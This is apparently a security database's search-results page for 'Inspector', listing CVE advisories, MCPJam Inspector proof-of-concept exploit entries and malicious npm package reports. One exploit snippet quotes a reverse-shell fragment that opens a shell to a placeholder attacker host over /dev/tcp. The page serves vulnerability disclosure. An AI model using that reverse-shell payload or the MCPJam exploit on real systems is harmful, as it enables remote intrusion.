2495 matches found
CVE-2026-81091 mcp-use Inspector Proxy Server-Side Request Forgery via Caller-Supplied Target URL
The proxy middleware in mcp-use's inspector forwards requests to a destination the caller names. mountMcpProxy in libraries/typescript/packages/inspector/src/server/proxy/mcp-proxy.ts read the target from the X-Target-URL header or the mcptarget parameter and proxied to it without inspecting the...
EUVD-2026-67146
The proxy middleware in mcp-use's inspector forwards requests to a destination the caller names. mountMcpProxy in libraries/typescript/packages/inspector/src/server/proxy/mcp-proxy.ts read the target from the X-Target-URL header or the mcptarget parameter and proxied to it without inspecting the...
Astra Linux – Vulnerability in Chromium
The use of after free in the Inspector in Google Chrome before version 134.0.6998.88 allowed a remote attacker to potentially exploit heap corruption through a crafted HTML page. Chromium security severity: Medium...
Exploit for Missing Authentication for Critical Function in Mcpjam Inspector
No d...
Exploit for Missing Authentication for Critical Function in Mcpjam Inspector
CVE-2026-23744-PoC Disclaimer: This proof-of-concept...
Exploit for Missing Authentication for Critical Function in Mcpjam Inspector
CVE-2026-23744 – MCPJam Inspector Unauthenticated RCE PoC...
MAL-2026-13414 Malicious code in @atom8n/inspector (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5b72c3643bb990395103d396d62440db908b84769c904d4c14aa9b259f97807c This @atom8n/-scoped package impersonates Anthropic's official MCP inspector package.json declares author 'Anthropic, PBC' and homepage...
Malicious code in bigops-status-selection (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 00ac52845dd473e3c39d37b9f3916ed67f48cabfb276bc8cc2e9ca2dca401ce5 On require, bootstrap.js selects a platform-specific path, fetches a binary from one of three hardcoded .workers.dev hosts...
Exploit for Missing Authentication for Critical Function in Mcpjam Inspector
CVE-2026-23744: Unauthenticated Remote Code Execution PoC...
@mcpjam/inspector (>=2.22.0, <=3.3.1) potentially affected by CVE-2026-64650 via @ai-sdk/harness-codex (1.0.0-canary.9)
@ai-sdk/harness-codex NPM version 1.0.0-canary.9 is affected by a known vulnerability. The following packages have a transitive dependency on @ai-sdk/harness-codex and may be impacted: - @mcpjam/inspector =2.22.0, =3.3.1 Source cves: CVE-2026-64650 Source advisory: SNYK:JS-AISDKHARNESSCODEX-18172...
Exploit for Missing Authentication for Critical Function in Mcpjam Inspector
CVE-2026-23744-MCPJam-Exploit A proof-of-concept exploit for C...
Malicious code in @tqm-mfe/main (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ba70610a96625984d6a26c5cfba828a98fad70a559f34eb881289f9ce4f625a1 scripts/postinstall.js is a heavily obfuscated obfuscator.io-style: 270+ entry rotated string array, RC4+base64 decoders, hex-encoded dispatchers...
Exploit for Missing Authentication for Critical Function in Mcpjam Inspector
CVE-2026-23744 — MCPJam Inspector Unauthenticated RCE Unauthe...
Exploit for Missing Authentication for Critical Function in Mcpjam Inspector
No d...
📄 MCPJam Inspector 1.4.2 Remote Code Execution
MCPJam Inspector versions 1.4.2 and below remote code execution proof of concept exploit. Exploit Title: MCPJam Inspector - Remote Code Execution Date: 07/03/2026 Exploit Author: Diamorphine Vendor Homepage: https://www.mcpjam.com/ Software Link: https://github.com/MCPJam Version: &...
MCPJam Inspector - Remote Code Execution
Exploit Title: MCPJam Inspector - Remote Code Execution Date: 07/03/2026 Exploit Author: Diamorphine Vendor Homepage: https://www.mcpjam.com/ Software Link: https://github.com/MCPJam Version: & /dev/tcp/attackerip/attackerport 0&1", "env": , "serverId": "Hello666" readyurl = urljoinurl,...
Exploit for Missing Authentication for Critical Function in Mcpjam Inspector
No d...
PYSEC-2026-505 Injection vulnerability that affects ironic-discoverd
OpenStack Ironic Inspector aka ironic-inspector or ironic-discoverd, when debug mode is enabled, might allow remote attackers to access the Flask console and execute arbitrary Python code by triggering an error...
Malicious code in @zynkit/probe (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5f7da2d08466718d66bb9a80478987eab5041e19ee53f80d6968e6dc3069edf2 No concrete indicators of installer-side harm were observed in this package version. No lifecycle scripts performing remote fetch-and-execute, no...
MAL-2026-6304 Malicious code in @frostnode/probe (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 7a143792d6fce9dfc36bbd2f99c44710055d4f0be6408ed046fb4ea4ea2e86f3 No suspicious behaviors were observed in this package version. There are no install-time lifecycle hooks fetching or executing remote code, no...